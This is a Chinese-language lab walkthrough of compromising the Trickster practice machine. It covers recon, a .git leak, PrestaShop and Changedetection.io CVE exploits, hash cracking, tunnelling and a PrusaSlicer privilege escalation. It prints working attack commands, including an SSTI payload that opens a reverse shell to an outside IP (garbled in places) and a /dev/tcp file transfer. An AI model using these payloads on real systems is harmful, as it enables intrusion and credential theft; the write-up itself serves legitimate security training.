Linux渗透实战之Trickster
字数 1035 2025-08-22 12:23:19

Linux渗透实战:Trickster靶机渗透教学文档

信息收集阶段

端口扫描

使用nmap进行初始扫描:

nmap -sT --min-rate 10000 -p- 10.10.11.34

发现开放端口:

  • 22/tcp (SSH)
  • 80/tcp (HTTP)

详细扫描:

nmap -sTVC -O -p22,80 10.10.11.34

获取服务信息:

  • OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
  • Apache httpd 2.4.52 (Ubuntu)

Web服务枚举

  1. 发现shop子域名:
ffuf -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://trickster.htb' -H "Host:FUZZ.trickster.htb" -fw 20
  1. 目录爆破:
feroxbuster --url http://shop.trickster.htb/ --status-codes '200,301,302'

发现.git泄露漏洞

初始访问

.git泄露利用

使用GitHack工具:

python3 GitHack.py http://shop.trickster.htb/.git/

发现admin路由:admin634ewutrx1jgitlooaj

CVE-2024-34716利用

PrestaShop 8.1.5存在RCE漏洞:

python3 exploit.py --url 'http://shop.trickster.htb/' --email 'Obito@qq.com' --local-ip 10.10.16.41 --admin-path 'admin634ewutrx1jgitlooaj'

获取www-data权限

权限提升

数据库枚举

  1. 查找配置文件:
find /var/www -name '*config*' 2>/dev/null
grep -R -i pass ./* 2>/dev/null

parameters.php中发现数据库凭据

  1. 连接MySQL:
mysql -u ps_user -p prest@shop_o
  1. 使用mysqldump转储数据库:
mysqldump -u ps_user -p --all-databases > /tmp/backup.sql

获取用户凭据:

  • adam@trickster.htb:\(2y\)10$kY2G39RBz9P0S48EuSobuOJba/HgmQ7ZtajfZZ3plVLWnaBbS4gei
  • james@trickster.htb:\(2a\)04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm
  1. 使用hashcat破解:
hashcat '$2y$10$kY2G39RBz9P0S48EuSobuOJba/HgmQ7ZtajfZZ3plVLWnaBbS4gei' -m 3200 -a 0 /usr/share/wordlists/rockyou.txt
hashcat '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' -m 3200 -a 0 /usr/share/wordlists/rockyou.txt

成功破解james密码:alwaysandforever

内网枚举

  1. 发现Docker网络:
for i in {1..254}; do ping -c 1 -W 0.1 172.17.0.$i|grep from;done
  1. 端口扫描:
for i in {1..65535}; do (echo < /dev/tcp/172.17.0.2/$i) &>/dev/null && printf "\n[+] The open port is : %d\n" "$i" || printf ".";done

发现5000端口

  1. SSH端口转发:
ssh james@trickster.htb -L 0.0.0.0:5000:172.17.0.2:5000

CVE-2024-32651利用

Changedetection.io v0.45.20存在SSTI漏洞:

{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.41",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"read() }}

Adam凭证获取

  1. 发现备份文件:
cat changedetection-backup-20241224060547.zip > /dev/tcp/172.17.0.1/6666
  1. 解压br文件:
brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br

获取adam密码:adam_admin992

最终提权

PrusaSlicer 2.6.1 - Arbitrary code execution

使用自动化脚本:

https://github.com/suce0155/prusaslicer_exploit

修改exploit.sh中的IP和PORT后执行

总结

渗透路径:

  1. 通过.git泄露发现admin路由
  2. 利用PrestaShop 8.1.5的CVE-2024-34716获取初始shell
  3. 查找配置文件获取数据库凭据
  4. 转储数据库并破解用户hash
  5. 通过SSH端口转发访问内网服务
  6. 利用Changedetection.io的CVE-2024-32651获取容器root
  7. 从备份文件中获取adam凭据
  8. 最后利用PrusaSlicer漏洞获取主机root权限
Linux渗透实战:Trickster靶机渗透教学文档 信息收集阶段 端口扫描 使用nmap进行初始扫描: 发现开放端口: 22/tcp (SSH) 80/tcp (HTTP) 详细扫描: 获取服务信息: OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 Apache httpd 2.4.52 (Ubuntu) Web服务枚举 发现shop子域名: 目录爆破: 发现 .git 泄露漏洞 初始访问 .git泄露利用 使用GitHack工具: 发现admin路由: admin634ewutrx1jgitlooaj CVE-2024-34716利用 PrestaShop 8.1.5存在RCE漏洞: 获取www-data权限 权限提升 数据库枚举 查找配置文件: 在 parameters.php 中发现数据库凭据 连接MySQL: 使用mysqldump转储数据库: 获取用户凭据: adam@trickster.htb:$2y$10$kY2G39RBz9P0S48EuSobuOJba/HgmQ7ZtajfZZ3plVLWnaBbS4gei james@trickster.htb:$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm 使用hashcat破解: 成功破解james密码: alwaysandforever 内网枚举 发现Docker网络: 端口扫描: 发现5000端口 SSH端口转发: CVE-2024-32651利用 Changedetection.io v0.45.20存在SSTI漏洞: Adam凭证获取 发现备份文件: 解压br文件: 获取adam密码: adam_admin992 最终提权 PrusaSlicer 2.6.1 - Arbitrary code execution 使用自动化脚本: 修改exploit.sh中的IP和PORT后执行 总结 渗透路径: 通过.git泄露发现admin路由 利用PrestaShop 8.1.5的CVE-2024-34716获取初始shell 查找配置文件获取数据库凭据 转储数据库并破解用户hash 通过SSH端口转发访问内网服务 利用Changedetection.io的CVE-2024-32651获取容器root 从备份文件中获取adam凭据 最后利用PrusaSlicer漏洞获取主机root权限